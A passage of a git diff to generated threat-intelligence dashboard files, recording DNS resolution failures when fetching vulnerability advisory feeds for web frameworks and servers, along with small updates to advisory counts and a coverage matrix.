known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "nginx::CISA KEV NGINX::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nginx", + "display_name": "Nginx", + "source_name": "NGINX Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://nginx.org/en/security_advisories.html", + "summary": "nginx::NGINX Security Advisories::network::HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nodejs", + "display_name": "Node.js", + "source_name": "CISA KEV Node.js", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "nodejs::CISA KEV Node.js::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nodejs", + "display_name": "Node.js", + "source_name": "Node.js Security Releases", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://nodejs.org/en/blog/vulnerability", + "summary": "nodejs::Node.js Security Releases::network::HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nuxt", + "display_name": "Nuxt", + "source_name": "OSV Nuxt", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "nuxt::OSV Nuxt::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "opencart", + "display_name": "OpenCart", + "source_name": "OSV OpenCart", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "opencart::OSV OpenCart::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "opencart", + "display_name": "OpenCart", + "source_name": "OpenCart Releases", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/opencart/opencart/releases", + "summary": "opencart::OpenCart Releases::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "source_name": "OSV OpenMage", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "openmage::OSV OpenMage::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "source_name": "OpenMage GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/OpenMage/magento-lts/security/advisories", + "summary": "openmage::OpenMage GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "source_name": "OSV phpMyAdmin", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "phpmyadmin::OSV phpMyAdmin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "source_name": "phpMyAdmin Security Page", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.phpmyadmin.net/security/", + "summary": "phpmyadmin::phpMyAdmin Security Page::network::HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "Friends Of Presta Security", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://security.friendsofpresta.org/", + "summary": "prestashop::Friends Of Presta Security::network::HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "GitHub PrestaShop Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/PrestaShop/PrestaShop/security/advisories", + "summary": "prestashop::GitHub PrestaShop Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "OSV PrestaShop", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "prestashop::OSV PrestaShop::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "PrestaShop Security Page", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://build.prestashop-project.org/news/", + "summary": "prestashop::PrestaShop Security Page::network::HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "rails", + "display_name": "Ruby on Rails", + "source_name": "OSV Rails", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "rails::OSV Rails::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "react", + "display_name": "React", + "source_name": "OSV React", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "react::OSV React::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" }, { "system_id": "redmine", + "display_name": "Redmine", "source_name": "OSV Redmine", "source_kind": "osv-batch", - "elapsed_seconds": 9.523, - "status": "ok" + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "redmine::OSV Redmine::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "redmine", + "display_name": "Redmine", + "source_name": "Redmine Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.redmine.org/projects/redmine/wiki/Security_Advisories", + "summary": "redmine::Redmine Security Advisories::network::HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "saleor", + "display_name": "Saleor", + "source_name": "GitHub Saleor Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/saleor/saleor/security/advisories", + "summary": "saleor::GitHub Saleor Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "saleor", + "display_name": "Saleor", + "source_name": "OSV Saleor", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "saleor::OSV Saleor::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "shopware", + "display_name": "Shopware", + "source_name": "OSV Shopware", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "shopware::OSV Shopware::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "shopware", + "display_name": "Shopware", + "source_name": "Shopware Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/shopware/shopware/security/advisories", + "summary": "shopware::Shopware Security Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } ], + "slow_sources": [], "systems": [ { "system_id": "adminer", "display_name": "Adminer", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "adobe-commerce", "display_name": "Adobe Commerce", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "angular", "display_name": "Angular", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "apache-httpd", "display_name": "Apache HTTP Server", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "apache-tomcat", "display_name": "Apache Tomcat", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "aspnet-core", "display_name": "ASP.NET Core", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "astro", "display_name": "Astro", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "caddy", "display_name": "Caddy", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "directus", "display_name": "Directus", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "discourse", "display_name": "Discourse", "active_source_total": 3, - "green_source_total": 3, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 3 }, { "system_id": "django", "display_name": "Django", "active_source_total": 3, - "green_source_total": 3, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 3 }, { "system_id": "drupal", "display_name": "Drupal", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "echo", "display_name": "Echo", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "esbuild", "display_name": "esbuild", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "express", "display_name": "Express", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "fastify", "display_name": "Fastify", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "flask", "display_name": "Flask", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "ghost", "display_name": "Ghost", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "gin", "display_name": "Gin", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "gitea", "display_name": "Gitea", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "gitlab-ce", "display_name": "GitLab CE", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "grafana", "display_name": "Grafana", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "hapi", "display_name": "Hapi", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "haproxy", "display_name": "HAProxy", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "jenkins", "display_name": "Jenkins", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "joomla", "display_name": "Joomla", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "kibana", "display_name": "Kibana", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "koa", "display_name": "Koa", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "laravel", "display_name": "Laravel", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "magento-open-source", "display_name": "Magento Open Source", "active_source_total": 3, - "green_source_total": 3, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 3 }, { "system_id": "mattermost", "display_name": "Mattermost", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "mediawiki", "display_name": "MediaWiki", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "medusa", "display_name": "Medusa", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "moodle", "display_name": "Moodle", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "nestjs", "display_name": "NestJS", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "nextjs", "display_name": "Next.js", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "nginx", "display_name": "Nginx", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "nodejs", "display_name": "Node.js", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "nuxt", "display_name": "Nuxt", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "opencart", "display_name": "OpenCart", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "openmage", "display_name": "OpenMage / Mage-OS", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "phpmyadmin", "display_name": "phpMyAdmin", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "prestashop", "display_name": "PrestaShop", "active_source_total": 4, - "green_source_total": 4, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 4 }, { "system_id": "rails", "display_name": "Ruby on Rails", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "react", "display_name": "React", "active_source_total": 1, - "green_source_total": 1, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 1 }, { "system_id": "redmine", "display_name": "Redmine", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "saleor", "display_name": "Saleor", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "shopware", "display_name": "Shopware", "active_source_total": 2, - "green_source_total": 2, - "failure_count": 0 + "green_source_total": 0, + "failure_count": 2 }, { "system_id": "spring-boot", diff --git a/08-threat-intel/generated/dashboard/docs/architecture-library.html b/08-threat-intel/generated/dashboard/docs/architecture-library.html index 5f7ae72d..c92afe3a 100644 --- a/08-threat-intel/generated/dashboard/docs/architecture-library.html +++ b/08-threat-intel/generated/dashboard/docs/architecture-library.html @@ -87,7 +87,7 @@

当前架构库镜像

工作台内置镜像页:当前架构库结构化数据镜像。
{
-  "generated_at": "2026-03-20T15:46:06+00:00",
+  "generated_at": "2026-03-21T13:36:59+00:00",
   "title": "当前架构库",
   "summary": "工作台、控制面、数据层、授权边界与系统覆盖的当前真值视图。",
   "sections": [
@@ -115,7 +115,7 @@
         },
         {
           "label": "已编目实体",
-          "value": "97"
+          "value": "99"
         },
         {
           "label": "发现 backlog",
@@ -127,7 +127,7 @@
         },
         {
           "label": "当前漏洞条目",
-          "value": "2399"
+          "value": "2402"
         }
       ],
       "fields": [
@@ -145,7 +145,7 @@
         },
         {
           "label": "生成时间",
-          "value": "2026-03-20T15:46:06+00:00"
+          "value": "2026-03-21T13:36:59+00:00"
         }
       ],
       "links": [
@@ -6029,7 +6029,7 @@
         },
         {
           "label": "Advisory 数",
-          "value": "2399"
+          "value": "2402"
         },
         {
           "label": "状态类型",
@@ -6048,7 +6048,7 @@
           "items": [
             {
               "title": "人工分诊",
-              "summary": "当前累计 2310 条。",
+              "summary": "当前累计 2313 条。",
               "open": false,
               "fields": [
                 {
@@ -6057,7 +6057,7 @@
                 },
                 {
                   "label": "数量",
-                  "value": "2310"
+                  "value": "2313"
                 }
               ]
             },
diff --git a/08-threat-intel/generated/dashboard/docs/coverage-matrix.html b/08-threat-intel/generated/dashboard/docs/coverage-matrix.html
index c8315a5d..1ae3df27 100644
--- a/08-threat-intel/generated/dashboard/docs/coverage-matrix.html
+++ b/08-threat-intel/generated/dashboard/docs/coverage-matrix.html
@@ -140,11 +140,11 @@
 | Shopware | `ecommerce` | `history-full` | `yes` | `yes` | `71` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `71` | `2025-04-20T01:37:25.860` |
 | Spring Boot | `frameworks` | `rolling-24m` | `-` | `yes` | `2` | `1` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `1` | `2026-03-13T21:59:19.426456Z` |
 | Spring Framework | `frameworks` | `rolling-24m` | `-` | `yes` | `11` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `11` | `` |
-| Spring Security | `frameworks` | `rolling-24m` | `-` | `yes` | `3` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `3` | `` |
+| Spring Security | `frameworks` | `rolling-24m` | `-` | `yes` | `4` | `1` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `3` | `2026-03-20T20:46:26.164998Z` |
 | Strapi | `cms` | `rolling-24m` | `-` | `yes` | `26` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `26` | `` |
 | SvelteKit | `frameworks` | `rolling-24m` | `-` | `yes` | `3` | `3` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-02-28T06:27:26.115188Z` |
 | Symfony | `frameworks` | `rolling-24m` | `-` | `yes` | `9` | `9` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-13T22:16:14.858636Z` |
-| Traefik | `servers` | `rolling-24m` | `-` | `yes` | `43` | `0` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `27` | `2026-03-18T13:59:10.423590Z` |
+| Traefik | `servers` | `rolling-24m` | `-` | `yes` | `45` | `0` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `27` | `2026-03-20T15:46:41.715568Z` |
 | Undici | `frameworks` | `rolling-24m` | `-` | `yes` | `16` | `15` | `2` | `seeded` | `real:7/synthetic:0/blocked:0` | `0` | `7` | `1` | `2026-03-18T23:58:57.714731Z` |
 | Vite | `frameworks` | `history-full` | `yes` | `yes` | `42` | `16` | `3` | `seeded` | `real:12/synthetic:0/blocked:0` | `12` | `12` | `26` | `2026-02-04T04:37:24.129476Z` |
